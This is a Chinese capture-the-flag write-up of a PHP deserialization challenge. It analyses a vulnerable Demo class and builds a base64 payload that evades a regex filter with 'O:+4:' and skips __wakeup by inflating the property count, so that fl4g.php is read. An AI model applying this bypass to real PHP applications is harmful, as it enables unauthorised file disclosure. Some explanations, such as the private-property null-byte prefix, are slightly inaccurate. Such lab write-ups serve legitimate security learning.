题目
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
源码分析
<?php
class Demo {
定义了一个名为Demo
的类。
private $file = 'index.php';
在Demo
类中,定义了一个私有成员变量$file
,并初始化为'index.php'
。
public function __construct($file) {
$this->file = $file;
}
这是Demo
类的构造函数,它接受一个参数$file
,并将其值赋给$this->file
。
function __destruct() {
echo @highlight_file($this->file, true);
}
这是Demo
类的析构函数,当对象被销毁时调用。它使用highlight_file
函数高亮显示$this->file
指定的文件内容,并输出到浏览器。@
符号表示忽略错误,即如果highlight_file
函数出错,不会显示错误信息。
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
这是Demo
类的__wakeup
方法,它在对象被反序列化时调用。它检查$this->file
是否不等于'index.php'
,如果不等于,则将其重新设置为'index.php'
。注释中提到“秘密在fl4g.php”,但此代码并未直接引用或显示fl4g.php
if (isset($_GET['var'])) {
检查GET参数var
是否存在。
$var = base64_decode($_GET['var']);
如果var
存在,将其值进行base64解码,并赋值给$var
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
使用正则表达式检查$var
是否包含对象或类的序列化字符串。如果包含,则终止脚本并输出“stop hacking!”。
@unserialize($var);
}
} else {
highlight_file("index.php");
}
如果$var
不包含对象或类的序列化字符串,则尝试对其进行反序列化。如果GET参数var
不存在,则直接高亮显示index.php
文件。
playload构造:
先创建对象序列化
<?php
class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
$this->file = $file;
//$this->file1 = $file1;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo("fl4g.php");
$b=serialize($a);
echo($b);
?>
得到序列化后的字符串
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
由于有preg_match函数和_wakeup()魔术方法过滤
'/[oc]:\d+:/i’
匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写
[ ] 是定义匹配的字符范围
[oc]是匹配o或c任意一个
[xyz] 字符集合。匹配所包含的任意一个字符。例如, ‘[abc]’ 可以匹配 “plain” 中的 ‘a’
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
这个字符串 O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
是一个序列化的PHP对象字符串。它表示一个Demo
类的实例,其中包含了对象的属性和值。下面我将解释这个字符串中的每个部分:
O
: 表示这是一个对象。4
: 表示类名Demo
的长度是4个字符。"Demo"
: 这是对象的类名。1
: 表示对象有一个属性。{...}
: 对象属性的集合用大括号括起来。s:10:"Demofile"
:s
: 表示这是一个字符串类型的属性。10
: 表示属性名Demofile
的长度是10个字符。"Demofile"
: 这是属性的名称。但请注意,这个属性名在原始的Demo
类定义中并不存在。原始类定义中属性名是$file
,这里似乎是一个错误或者篡改。
s:8:"fl4g.php"
:s
: 表示这也是一个字符串类型的属性。8
: 表示属性值fl4g.php
的长度是8个字符。"fl4g.php"
: 这是属性的值。这似乎是代码中的一个提示,表示真正的“秘密”或重要信息在fl4g.php
这个文件中。
-
'/[oc]:\d+:/i'
: 这是传递给preg_match
函数的正则表达式字符串。-
/.../i
: 正则表达式的定界符和修饰符。这里的i
表示不区分大小写(case-insensitive)的匹配。 -
[oc]
: 字符类,匹配单个字符,这个字符可以是o
或c
。在 PHP 对象和类的序列化字符串中,o
通常表示对象(object),c
表示类(class)。 -
:
: 匹配冒号字符:
。在 PHP 的序列化字符串中,对象或类后面通常会紧跟一个冒号。 -
\d+
:\d
是一个特殊字符,表示任意数字(0-9)。+
表示前面的元素(即\d
)可以出现一次或多次。因此,\d+
匹配一个或多个连续的数字。 -
:
: 再次匹配冒号字符:
。在序列化字符串中,这通常用于分隔对象或类的名称与后面的属性数据。
-
构造新的playload
将O:4:改为O:+4:绕过匹配,将字符串中的属性1改为大于它的正整数 绕过_wakeup。还要绕过
base64_decode将替换后的字符串base64_encode
<?php
class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
$this->file = $file;
//$this->file1 = $file1;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo("fl4g.php");
$b=serialize($a);
$b=str_replace('O:4:','O:+4:',$b);
$b=str_replace(':1:',':2:',$b);
$b=base64_encode($b);
echo($b);
?>
最好直接替换,不要自己去替换Demo前后有空格自己看不出来,$file 是私有成员序列化之后字符串首尾会多出两个空格 “%00*%00”,所以base64加密最好在代码中执行防止复制漏掉。
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==